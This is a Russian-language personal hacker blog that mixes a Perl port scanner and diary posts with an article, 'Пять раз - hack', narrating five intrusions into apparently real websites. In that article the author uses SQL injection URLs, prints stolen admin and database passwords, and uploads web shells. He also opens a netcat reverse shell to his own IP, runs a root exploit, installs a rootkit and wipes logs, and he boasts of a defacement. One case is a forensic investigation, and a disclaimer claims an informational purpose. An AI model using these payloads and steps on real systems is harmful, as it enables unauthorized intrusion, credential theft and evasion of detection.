Ну, например мы просканируем какую то сеть на открытый 23 порт. Те системы, у которых он открыт, могут быть уязвимы.
Итак, алгоритм:
Нам будет дан адрес и порт. В цикле перебираем последний разряд айпишника от 0 до 255 и пытаемся подключиться к указанному порту.
Ну и все в принципе. Если подключение произошло успешно, выводим адрес.
Вотисходник:



Код:
#!/usr/bin/perl use Socket; $host=@ARGV[0]; $port=@ARGV[1]; @ip=split (/\D+/, $host); #делим айпи на разряды по точке $index=0; $r1=$ip[0]; #записываем разряды в массив $r2=$ip[1]; $r3=$ip[2]; $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес $addr = inet_aton($host); # далее коннект $paddr = sockaddr_in($port, $addr); if(connect(SOCK, $paddr)){ print("Host: $host open $port port"); }else{ next; } }


Это нужно принимать как макет.
Если будет серьезная разработка, то нужно включить многопоточность.
Вообще еще можно сделать так:
читать баннеры и сравнивать их с уязвимыми. Если сходиться, то сервис возможно уязвим.

Напоследок.
Данный материал был написан даже не с целью напичкать вас чем то новым (если это для вас ново), а для того что бы показать всю привлекательность языка perl. Я искренне надеюсь, что после этой статьи вам захочется изучать его.

Ps обо всех недочетах и ошибках пишем в комментариях, не стесняемся
скачать

StraNger aka reaL StraNger

rammstein


Стал их слухать. ДОвольно неплохо. Думаю над тем что бы полностью переходить на тяжелую...
Классные у них шоу.

Как это работает?

Собственно давное уже ношу эту идею.
Делать небольшие обзоры работы программ. Т.е. берем сниффер, рассказываю как они работают, естественно привожу исходные коды, и т.п.
Если получиться, то скоро появиться на getroot, ну и тут тоже.

Оленизьм достиг небывалых высот.

Гг. Собственно зашел к себе в личку на хз и вижу такое сообщение:

Привет!Извини за беспокойство но у меня вопрос!Можно-ли что нибудь с одноклассниками??Если да,то напиши мне пожалуйста!!!

Раньше хоть вопрос был более или менее понятен. Теперь все. Деградация дошла до потолка. Теперь они не утруждают себя правильно формулировать мысль. Это писец.

Размышление о складе ума.


По моему у человека нет определенного склада ума. Все чего он добился, это добился сам. Т.е. если подумать, то любой гуманитар покорпев какое то время над учебниками сможет без проблем решать математические задачи. Тут все зависит от того, как долго над этим работать. По моему природа не дает кому то математический, а кому то гуманитарный ум. Все это складывается из постоянной работы. Тут уж дело в том ленивый человек или нет. А все эти разговоры про данный от природы ум, всеголишь пустые отмазки.

Германия:Россия. Ногамяч

Совсем немного осталось до матча Германия:Россия.
Нам предстоит встретится с довольно серьезным противником. Если обратиться к статистике, то число выйгранных матчей между Германией и Россией превышает у Германии. Причем значительно. Ну что ж. Посмотрим.
Кстати буквально час назад посмотрел док. фильм про Гуса.

Дикие старушенции

По моему в каждом подъезде есть такие противные старушки, которые за всеми следят и которые всеми недовольны. БЕсят такие. Буду думать как ее доепать.
Бабулька полюбит металл рок

Я

ГГ родители на 2 дня уезжали...


Крыса и лиса.


+
Читаю вот блог Криса и вижу на его скриншотах только браузер firefox.
Касперски значт Лису юзает. Вот оно как. А вы Опера Опера...

findadmin

Простой perl скрипт. Производит брут заданых путей в поисках админки.
Ищет по базе. В срипте забито всего 6 путей. Можете сами расширять.
Использование:

[stranger@bash]$perl ./findadmin.pl www.site.ru

Думаю включить возможность брута через прокси и обращение к поисковикам.
view

Чихание

Щаз заметил такую весщ:
Вот чихнешь один раз тебе говорят "Будь здоров", а тебе кажется что ты еще хочешь чехнуть и не знаешь стоит ли говорить спасибо или дождаться следущего чиха и уже после него. Просто второй вариант более оптимизированный, НО! А если этого чиха не настанет? Что делать тогда?
Вот такая проблемка.

Посещаемость


Мдя...

Я так долго тебя искал

Откопал в архивах рассказец этот. Прошу цинникам не читать, т.е. кроме ржачки ни чего не найдете.

Он не любил этот праздник. Эти сердечки во всех видах. Голубки и ленточки. Маленькие открыточки с ангелочками и все теми же сердечками. Плюс он был консерватор. В его детстве отмечали 8 марта и 23 февраля. Он до сих пор с каким-то умилением вспоминал одноклассниц, которые очень ответственно относились к этим мероприятиям.

Уж они то, наверное, без ума от этого праздника. «День всех влюбленных» — надо же! Нет, кроме рока и нескольких других необходимых вещей, Запад подарил и кое-что пошло-бесполезное...

У него не было любимой девушки. У него был кот и компьютер. И масса скрытых достоинств.
Наверное, очень хорошо скрытых. Потому что пока девушки их не разглядели. А то, что они видели, не вызывало у них восторга. Сонно-неряшливый вид, особенно с утра. Постоянные разговоры о компьютерах, серверах, модемах. Через час общения девушка уже точно знала, что Unix — это хорошо, а вот Microsoft — это неприличное слово. И ей совершенно не стоило упоминать, что она тоже имеет отношение к компьютеру, и недавно поменяла себе обои на рабочем столе.

А его приводил в восторг ужас в глазах девушек, когда они слышали, что компьютер может работать без Windows. И почему-то они сразу куда-то уходили. Нельзя сказать, что это его сильно расстраивало. У него была все что ему нужно для жизни.
Многи считали его сумасшедшим. А он плевал на них всех. Он некогда из не понимал…

Для зимы было что-то уж очень слякотно. И еще этот праздник. Все это раздражало. Что бы хоть как-то развеяться, он решил зайти в книжный магазин. Перед входом он остановился. И тут — огромные сердечки на всю витрину!
— Какая гадость, — не выдержав, сказал он вслух.
— Гадость? — Удивилась девушка, как раз вышедшая из магазина.

Она пыталась положить в сумку какую-то книжку.
— Ну, да. Вам, должно быть, очень нравятся все эти сердечки, открыточки, и сам этот праздник?
— Нравятся. Это очень романтичный праздник. А Вам, я вижу, нет?
— Не то слово. Как, как такое может нравиться?!

Девушка хотела ответить и, судя по всему, резко. Но тут пробегавший мимо здоровый мужик задел ее. Книжка, которую она так и не положила в сумку, выпала. Они наклонились над ней почти одновременно. Но он все-таки поднял книгу первым...

Эта книга как-то не вязалась с его представлением о девушках. Он с удивлением посмотрел на свою незнакомку. Она была высокая и симпатичная.
— Это вы купили для себя? Она рассмеялась.

Это была замечательная девушка. Она знала, что такое Unix, отличала FreeBSD от Linux, и понимала, что, когда он говорит машина, то не имеет в виду автомобиль. Но при этом она не знает такую кучу полезной информации. Ей действительно интересно и она задает вопросы! Настоящие вопросы. Толковые, с полным пониманием темы. Они говорили и говорили. И даже в какой-то момент они заговорили не о компьютерах...

Было уже поздно. Она с сожалением сказала, что ей пора. А он вдруг понял, что не может ее отпустить. Оказывается фраза, «я так долго тебя искал» — не выдумка доморощенных поэтов. А то, что ей нравится этот праздник — это ведь такая мелочь.
Теперь в его жизни появилось что то еще кроме компьютера…

...И он впервые в жизни купил цветы для своей девушки.

Контактные линзы

В последнее время зрение стало падать.
Сначала очки советовали, но так как я ярый противник четырехглазых решил приобрести линзы.
Очень даже удобно. ухх!

antichat+что за хрень?

Хм... что это за фигня?

Основы хакерства

Опубликовал уже 5 урок основ хакерства.
Вроде все довольны - новички довольно, шура доволен.
Думаю тут их выложить, а то на портале оформление косячило.
Хм... а ведь когда то сам читал статьи владухи и наверное даже и не мечтал, что когда то буду продолжителем его дела.. ы =D
HackZona - Территория Взлома

Сплин - Сигнал из космоса

Уххухх! Сплин подготовили наконец новый альбом.
18 треков.... руль.
Некоторые уже послушал на офсайте. Васильев - !!!

зы что то познавато я проснулся

Геймер зарубил вора самурайским мечом!

Многие считают, что геймеры – это хилые ботаники в очках, которые целыми днями сидят у монитора и не могут постоять за себя. Однако история, случившаяся в США, рисует нам совсем другой образ любителя игр.

Все произошло в доме, который вместе с товарищами снимал студент Университета им. Дженса Хопкинса. Ночью он услышал странный шум и решил проверить, что происходит на первом этаже. На днях у ребят уже украли несколько ноутбуков и PlayStation, поэтому парень предусмотрительно вооружился самурайским мечом. Студент заметил, что дверь в гараж была приоткрыта. Когда он вошел внутрь, на него бросился неизвестный мужчина. Результат - труп преступника с отрубленной рукой и несколькими ранами в области шеи. Ну а студенту, защищавшему свою PlayStation с помощью меча, предстоит доказать, что он не превысил пределов необходимой самообороны.

Писец, больше нечего сказать. Всегда знал что гамилки людей до добра не доводят

Выходные


Ух! Наконец то выходные. Думал не доживу.
Буду отсыпаться....

Лезут кому не лень.

Мдя. По моему в IT лезут все кому не лень.
Поступающие думают, что зная Паскаль они будут спецами на курсе. ПпЦ.
А в айти сеqчас полезно довольно много человек. И думаю в будущем будет еще больше.
Но все таки адекваты в минусе. И это..... радует.
Пост написан по мотивам сообщения Scipio.

Счет с нуля? НиХуЯ

Похоже я начал заболевать типичной кодерской болезнью - счет с нуля. Раньше за собой не замечал, а вот теперь понял. Мдя... это должно было случиться

Товарищ сенсей


Во как!

День программиста


Ну вот наконец то 13 сентября официально сделали днем программиста.
Себя к программистам не отношу, но от всего сердца поздравляю людей занимающихся этой нелегкой профессией.

Нытики....



Вот заепали уже эти нытики. Всем хреново, у всех депрессия. Одного девушка бросила, у другого хуй отвалился. Пля.
Вокруг одни пессимисты!
Нужно смотреть на жизнь веселей .!.
Все идет по плану!

Бред после кофе. 2 чашка

А вот еще. Самый кул. Просто кул. Я чуть не прослезился:

  • Хороша сегодня школа, зал горит огнём.
    На четвёрки и пятерки пляшем и поём.
    Кто в учёбе отличился, кем гордится класс,
    Тот умеет веселиться лучше в 10 раз.

    Мой новый сосед по парте в прошлой четверти был не ахти,
    Все оценки ниже пяти, твердых четверок нету почти.
    Если наши багажи знаний сохранить в формате TXT,
    Ему дискеты хватит, мне - не менее девяти DVD.
    Даже Георгий Петрович, покровитель двоечников,
    Пять ему по труду не поставил, а с ним не поспоришь никак.
    Если вызовешь Chest'а к доске, чувство, будто бы доешь быка.
    Вроде бы даже что-то мычит, но хоть убей, не видать молока.
    На уроках валял дурака, в плеере громко гонял Тупака.
    Лишь для просьбы выйти в толчок, вздымалась над партой его рука.
    Но мне до этого не было дела, пока в предверии школьного огонька,
    Он обидное слово не написал на обложке моего дневника.
    Я даже не стал стирать его ластиком, а просто во время праздника
    Взял mic в актовом зале и наказал проказника.
    Chest пожалел, что в кастинге, среди папиных белых головастиков.
    Он во время зачатия не стал непрошедшим участником.

    Хороша сегодня школа, зал горит огнём.
    На четвёрки и пятерки пляшем и поём.
    Кто в учёбе отличился, кем гордится класс,
    Тот умеет веселиться лучше в 10 раз.

    Мой забойный фристайл в зале, произвёл небывалый фурор,
    Все, кто стоял до сих пор затанцевали комплексам наперекор.
    Даже лысый физрук-негатив для себя открыл новый спорт
    И весело махая барсеткой в пляс пустился во весь опор.
    Его задор здорово вдохновил препода биологии
    Сева всегда спокойней удава был, но сегодня его ослушались ноги.
    Сделав растения вида каннабис-индика жадный напассик
    Он выбежал на танцол с криками "Wicked! Wicked! Jungle is massive!"
    Мисси под Drum'n'Bass-овое мясо колбася в экстазе
    Тоже выкрикивала фразы на преподаваемом ею ин. язе.
    Понимал её только Вова, сидевший с Артуром за одной партой.
    Говорил: "Вот немка наклюкалась. Дура - башка болеть будет завтра."
    Говорил он это так быстро, что разобрать никто не успевал.
    Тем более частоты низкие плотно прокачивали актовый зал.
    Вот как был проучен нахал. Весь народ радовался и ржал.
    Крепкой двойкой в итоге стал Chest'а средний годовой балл

    Хороша сегодня школа, зал горит огнём.
    На четвёрки и пятерки пляшем и поём.
    Кто в учёбе отличился, кем гордится класс,
    Тот умеет веселиться лучше в 10 раз.
  • NOIZE MC

Статьи, которые я когда либо писал. 
Многие из них писал давно, так что уровень может страдать.


Кодерские хаки
Вооруженный пингвин. Компактный софт для боевых действий.
h3k FAQ
Perl. Лучший друг хакера.
Пять раз - hack
Story. Полночный взлом
Баги в исходных кодах. Part 2
Баги в исходных кодах
Основы *NIX кодинга. Часть 1.
Клиент сервер на основе WinSock
Шалим в реестре.
Полезности в delphi или FAQ дельфиста.


©StraNger

Тяжелые будни


Ух блин. Не думал я, что физрук на меня так насядет.
К тому же не могу войти в колею, в сеть выхожу только пару раз в день. Времени не хватает (простите тимовцы). Ну ничего. Счаз с делами разберусь и заведусь.

Супер событие


Уже весь интернет трясется от этой новости. У fraIzer а днюха. И причем юбилей.
Поздравляю, бро! Пусть тебя всегда сопровождает попутный ветер.

cDc


Ужеес. Оказалось, что половина моих знакомых не знает что такое (точнее кто такое) культ мертвой коровы.
Как можно не знать эту старейшую группу компьютерного андеграунда. Ну по крайней мере все знают знаменитый Back Orifice. Ведь Его написали люди из cDc. Вообще про них ходят много слухой и сплетен. Говорили что они нарушили движение спутника, что они воюют с цероковью. Короч много чего.... Надо будет замутить как нибудь рассказец про них.

ыкал)


шайтан подкинул:)

Возвращаюсь к delphi

Решил опять начать программировать на дельфи.
В последнее время я его совсем забросил.
На харде даже среды не было.
Но вчера скачал 2009 поставил. Буду кодить иногда.

Отдохнул

Вобщем наконецто собрались с друзьями съездить за город.
Седня утром поехали. Попили пивка, пожарили шашлычки....=)
Потом гроза началась, потом град пошел. ППц. Ну правда потом еще купаться бегали.
Вобщем норм... Я даж загорел

Понаехали =)

ППц. Вчера приехала сестра сегодня приедет ее парень. Окупируют мой PC и будут сидеть в своих одноклассниках и вконтактиях. У меня тольк ноут. Буду читать.

ремейки владухи

Вобщем решил подредактировать статьи владухи и написать продолжение.
Админ не против. сказал повесит новые статьи на мэинпагу. Кстати первая уже готова

Иcтория StraNger а

Я смотрю тут всех на мемаурары потянула. Ну а я что? Лысый что ли?
Итак. Мой первый интернет был диалап. !>40 к\с
Я тогда немного бейсиком баловался. А восновном играл во все что попадется.
Около года назад подключили выделенку. Ну и понеслась...!
Сначала просто мучил гугл разными запросами. Потом наткнулся на статьи владухи, ну и соответственно на хз. Ник зарегестрировал, но на форуме бывал реко. Обычно просто читал статьи. Потом встретил шайтана, он меня затащил на форум. Ну и понеслась...! Сидел сутками, ждал постов. Отвечал. Писал статьи. Потом получил лум. Правда свою первую шоху пришлось продать. Кстати стал модером.
Ну и дальше я в NAT. Там все с хз. Потом нат распался. Ну я подался читать маны и учить побольше языков. В итоге я знаю с/с++ php perl delphi/pascal (хвастаюсь) при этом свободно орентируюсь в никс системах, и знаю много чего о безопастности как прикладных программ, так и серверных скриптов (хвастаюсь). Буквально месяц назад пригласили в gr-team. Все я там. Щаз живу и наслаждаюсь кибер реальностью
ухххх

меняем обуфь

Перешел на kde+поставил freepascal(для школы), что б в винд меньше заходить.
Сделал несколько скринов:

СпорТсмеН

Все. Начал бегать по утрам. Если честно жуть как сложно встать. Особенно если лег в 4 часа утра. Иногда вечером бегаю.
После первой пробежки думал сдохну. А щаз ничего вроде. Неплохо себя чувствую.

ВАЖНО!

Я ПОВТОРЮСЬ, ЧТО К БЛОГУ http://stranger.noiso.ru/ НЕ ИМЕЮ НИ КАКОГО ОТНОШЕНИЯ.

Как себя убивать.

Вот так все говорят, что сидя за компом гробишь себе все здоровье. Согласен. Но ведь каждый сам решает как себя гробить. Кто то сидит на игле. Кто то курит. Кто то бухает непросыхая. Ну а кто-то сидит за компом.
Смерти не избежать, любым из способов, но в конце концов ты себя убьеш.

Контакты.

stranger@nextmail.ru

strangerad@gmail.com
blin.17@mail.ru



7воземь5семь72два

 
fukinstranger@jabber.ru





www.twitter.com/real_StraNger



Profiles:
hackzona profile
antichat profile
getroot profile

(на гавновопросы не отвечаю)

Пять раз - hack

INTRO

Привет читатель! Я продолжаю радовать (или огорчать) тебя своими сумасшедшими статьями. Сегодня меня накрыла муза. И я решил писать.
Название данного материала 5 раз – hack. О чем она?
Ниже я приведу 5 интересных случаев взлома. Потом проанализирую их.
Ну и начнем…

BODY

Предновогодний дамп && Печальная истории шопа. Hack №1
Предыстория
На улице была зима. Дело шло к Новому Году. Как раз перед каникулами я загрипповал и как водится, остался дома.
Потягивая чай с малиновым вареньем я серфил просторы Интернета, даже не задумываясь о том, что меня ждет дальше. Вскоре я наткнулся на онлайн шоп.
Там продавалось всякое барахло, вроде бейсболки с айподом или наушников со встроенным прибором для измерения пульса.
Делать было нечего, все знакомые из сети разошлись по школам и институтам, поэтому я решил протестировать сайт на безопасность.

Hack.
Reverse IP показало, что на сервер находится только этот ресурс
Не обнаружив в подвале сайта никаких надписей о версии и наименовании движка я обратил свой взгляд на исходник страницы.
После беглого осмотра кода стало ясно, что двиг самописный. Ну что ж так даже интереснее. Немного потыкав параметры я ничего не обнаружил. Скрипт тупо перенаправлял мена на главную страницу.
Но кто ищет тот найдет. Неприметная кнопочка, для вывода информации об изготовители товара, передавала не фильтруемое значение:


www.tatshop.us/oldproducts.php?category=iron&id=32'




www.tatshop.us/oldproducts.php?category=iron&id=32'+uninon+select+1,2,3,unhex(hex(password)),5,6,7,8,unhex(hex(usernam)),10,11+from+usershop+limit+1,1/*

Хеш пассворда и логин были у меня в руках. Понадеявшись на фортуну я попробовал сбрутить хеш с помощью онлайн сервисов. К счастью админ оказался не слишком «продупленным» и пароль был несложным: 12041980. Похоже дата рождения
Осталось найти админ панель и дело в шляпе.
Только вот стандартные /admin и /administrator не прокатывали. Тогда я заглянул в поисковик:



site:www.tatshop.us admin


И удача! Первая ссылка ввела в админку.



www.tatshop.us/structure/admin


banny: 12041980


Оказавшись хозяином сайта я стал прощупывать CMS на возможность выполнение кода.

В разделе «настройки» была возможность добавлять товары и заливать картинки. Чем я и воспользовался, залив r57shell.
Тут я понял, что мне придется изрядно постараться, что бы найти его. Минут пятнадцать побрутив директории я таки наткнулся на скрипт:


www.tatshop.us/structure/products/usrjoin.php
(usrjoin.php – веб шелл)


Тут же выполнив команду "id"я получил вот такие сведения:


uid=11187(oldstas) gid=11187 (oldstas) groups=11187 (oldstas)


Можно было попробовать залить нормальный шелл, но я не стал торопиться.
Погуляв по доступным директориям, я нашел интересным файл:
configmysql.php
Содержание было довольно обширным, но меня привлекла вот эта часть:


$host = "localhost" ;
$username = "banny" ;
$password = "80190412" ;

Попробовав подключиться к базе, мне дали пинка.
Тогда, найдя бажный скрипт, я внимательно осмотрел его.
И нашел строку:







Пройдя по пути:

/home/oldstas/www/includ/

И открыв файл db.php
Я обнаружил заветную цель.


define("HOST", "localhost");
define("USER", " oldstas");
define("PASS", "3r3o4i");
define("DB", " oldstas _cards");



Дальше все было просто, как два байта передать. Я подключился и зделал дапм базы.

Послесловие.
Как видите, безопасность сайта опять подвела иньекция. К тому же в админ панели было несложно залить шелл. Так что администрация крупно облажалась. Так вот, стоит ли ставить самописные двиги на такие проекты? Думаю если бы стоял паблик движок, то взлом затянулся бы подольше. Хотя это тоже могло и упростить дело.

Мыло стоит рута && ода о паролях. Hack №2

Предисловие.
Было около 11 часов вечера. Вернувшись, домой после вечерней прогулки я первым делом проверил почту, прикидывая в голове план на очередную бессонную ночь. Неплохо было бы пополнить свою коллекцию шелл аккаунтов.
Допросив гугл я нашел парочку .us сайтов. Выбрав один я стал осматривать содержимое.

Hack.
Ничего особенного кажется новостной портал или что то вроде того.
Погуляв по сайту я наткнулся на мыло rabel@newnews.us

Вызвав консоль, я запустил полуоткрытое сканирование портов:



$nmap –v –sS www.newnews.us

21 open
22 open
25 open
110 open



Пробив 21 порт netcat –ом я убедился, что там висел свеженький ProFTP

Вернувшись на сайт, я нашел почтовый сервис. Там присутствовала функция восстановления пароля, но это не катило. Мне нужен был сам пароль. Похоже, выходом из данной ситуации был только брут.
Порывшись в архивах я нашел perl скрипт. Пристыковав к нему весомую базу паролей, я запустил брутофорс.
Скрипт закончил работу на следующее утро. Пароль был довольно простым:
13 05 33 26
Поковыряв почтовый ящик я не обнаружил там ничего интересного.
Тогда я решил реализовать старую задумку – попробовать войти на ftpс помощью пароля от мыла:


$ftp
$>open 234.32.54.17
User rabel
Passwd

И как ни странно у меня получилось
Создав простенький phpскрипт примерно такого содержания:




Я залил его в корневую директорию сайта:



$cd /www
$send /home/stranger/tmp.php



И выполнил


www.newnews.us/tmp.php



Теперь можно бы попробовать подключиться к серверу:



$nc 234.32.54.17 2370


У меня был полноценный шелл.

Пробив командой id свои права, я увидел вот это:



uid=234(robel) gid=234(robel) group=234(robel) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023

Но команда
$uname –a
Совсем меня не порадовала
На серванте крутилась последняя (на тот момент) пропатченое ядро linux
Уже собравшись плюнуть на это дело я проверил запущенные процессы.
Меня заинтересовал демон Postfix. Я вспомнил, что сканирование показало открытый 25 порт сервера.

А известно, что в Postfix для открытие 25 порта нужны рутовые привилегии. Так что есть возможность поднять свои права.
Проверив версию демона я был приятно удивлен. В паблике меня уже дожидался, сплоит, который давал рута. Посмотреть можно здесь.



$sh sploit.sh



Все. Осталось только установить руткит.
Залив wget –ом LRK5 я запустил его в теневом режиме:



$make shadow install



Затерев логи я вышел из системы.

Послесловие.

Как видишь, всего лишь одно взломанное мыло стоило администрации очень дорого. Думаю, не стоило светить электронный адрес на сайте.

Да и за обновление ПО следить нужно повнимательней. Думаю если бы Postfix был обновлен я бы не смог получить рут.

Как развлекаются скрипт-кидди && Мой первый взлом. Hack №3

Предыстория.

Начитавшись статей про крутые взломы, мне жутко захотелось сделать что то подобное.

Изучив phpincludebug, я начал пытать google.

Hack


inurl:"php" and "page="



Пропарсив несколько ссылок я обнаружил инклуд. Жалко, что не удаленный, но читать файлы было возможно:



www.target.com/view.php?page=car.php&id=1
www.target.com/view.php?page=../../../etc/passwd&id=1

Теперь можно было попробовать найти конфиг apache и сконструировав специальный заголовок выполнить php код.

Перепробовав несколько путей я нашел верный:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&id=1



Далее, с помощью firefox плагина LiveHTTPHeaders я записал в поле User-Agent такой код:




И вызвал скрипт:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&cmd=ls



На что тот выплюнул содержимое текущей директории.

Но из-за своей неопытности я так и не смог ничего сделать, кроме как задефейсить главную страницу.

А что вы хотели? Первый взлом.=)

Послесловие.

Как видите, я, не имея практически никакого опыта, смог задефейсить сайт. И все из-за банального инклуда. Конечно если бы тогда у меня было побольше опыта и знаний последствия могли бы быть гораздо серьезнее.

Почему нужно знать php. Hack №4

Предыстория.

Однажды утром мой хороший сетевой друг попросил проверить один сайт, т.к. у него были давние счеты с админом. Знакомый этот меня часто выручал, поэтому я решился взяться за это.

Hack.

Первое что бросилось в глаза это подпись в подвале сайта:

Powerby CamanCMS

Помучив гугл мне стало ясно, что это бесплатный двиг. Причем про уязвимости в нем не говорилось ни слова.

Но была реальная возможность поискать дыры самому в исходном коде.

Скачав CMS и поставив ее на localhost, я принялся за изучение.

Скажу, что поиск дыр занял около часа, за это время я наткнулся только на пассивную xss.

Но вскоре удача повернулась ко мне приличным местом, вот в этом участке кода:


If(isset($getinfo)
{preg_replace("/345/e",$_GET['name'],$_GET['date']);}
else

{print “Information not found
”}
Об этой уязвимости я читал в статье Elekt –a.
Суть в том, что использование модификатора –e в регулярном выражении может вести к выполнению произвольного кода во втором параметре. Скажу что бага ну ОЧЕНЬ редкая. У меня были сомнения насчет нее. Но на целевом сайте выглядело так:
Код:

www.jonniget.ru/find.php?name=CODE&


Теперь нужно было получить нормальный доступ к серверу, т.к. другу этого было достаточно.
Скачав и запустив на сервер биндшелл я попробовал подлючиться. Но вопреки моим ожиданием коннекта не было. Похоже, фаервол резал все входящие подключения.
Но была вероятность, что он неправильно настроен, т.е. возможно провести бэкконнект.
Не долго думая я выполнил такую команду (у себя в консоли)
Код:

netcat -l -p 4444


А на целевом сервере:



nc -v 43.23.234.32 4444 -e /bin/sh &

Где 43.23.234.32 – мой адрес
Через некоторое время произошло подключение.

Больше мне и не нужно было. Написав небольшую записку о реализации уязвимости, я отправил ее своему знакомому по e-mail

Послесловие.

Ну что сказать. Создатели сайта использовали бесплатную CMS. Не скажу, что это плохо, но как видно ошибки все-таки нашлись. Я даже был несколько удивлен тому, что их оказалось немного. Несомненно, плюс администрации за файрвол, который блокировал мой бинд шелл. Но опять же он был неправильно настроен, что и позволило мне проникнуть на сервер.

После взлома && По другую сторону баррикад. Hack №5
Предыстория
Около 2 месяцев назад мне нужно было исследовать одну «живую» взломанную систему.
Сейчас я и расскажу об этом.

Hack…. или не hack?
В общем, система была свеженькая, не перезагруженная. Так сказать труп был еще теплым =(/)
Нужно было очень хорошо подумать. Ведь система могла быть протроянена.
Поэтому я решил сначала протестировать взломанную Ось на наличие руткитов, а потом проанализировать лог файлы. Если такие сохранились.

В качестве клинера я выбрал chkrootkit
Скачав и распаковав архив я уже хотел приступить к компиляции, но вспомнил что я redhat системе. Поэтому пришлось кое-что подредактировать в исходниках (манны кстати здорово помогли):



chklastlog.c

#define LASTLOG_FILENAME "/var/adm/lastlog"
On
#define LASTLOG_FILENAME "/var/log/lastlog"


#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"


chkwtmp.c
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"

Далее компиляция была произведена без последствий.

Запуск:

$./chkrootkit


Но программа так ничего и не обнаружила. Похоже, система была чиста.

Тогда возможно остались лог файлы, поэтому я пошел помучить syslog.
Но и тут все было в порядке. Странно. Может админы нас нае*бли?

Но вот что интересно. Пробежавшись по временным файлам, я обнаружил один, который меня заинтересовал. Похоже, он относился к логклинеру vanish.
Но ваниш прога порядочная. Все файлы после себя подтирает. Единственное что пришло мне в голову это то, что взломщик аварийно прекратил работу программы. Тогда бы временные файлы остались.

После некоторых раздумий я решил проверить логи апача.

Веб контент был скудный, одни HTML (по словам администрации), стоял еще форум, но он был пропатчен. Так что взлом через веб зону был исключен. Но проверить не помешает.

В логах было обнаружена вот такая картина (вырезка):


r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115)
.chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105).chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))


Использование сплоита на лицо. Но как вы понимаете неудачно. Айпишник тоже засветился. Но, скорее всего это прокси.

Вот и все что удалось раскопать. А взлом был произведен из-за не пропатченого демона ftp

Далее я просто скинул админу на мыло результат работы.

Послесловие.
Ну что тут сказать. В первых хакера подвела работа логвайпера. Т.е. по сути, он сам себя подвел. Да и потом использование этого сомнительного сплоита. И следы в логах апача. Похоже, работал новичок.



OUTRO.

Ну вот. Я постарался выбрать 5 разных случаев взлома. Надеюсь, этот материал поможет зазевавшимся админам в их работе. Взломы есть и будут. Вопрос только во времени.

Удачи!

die «Вся информация выложена только для ознакомление, автор не несет ответственности за использование материала в личных целях»

Наверняка вы найдёте в статье ошибки. Буду очень рад если они будут указаны в комментариях.

StraNger aka reaL StraNger

Copyleft (Ɔ); StraNger ideas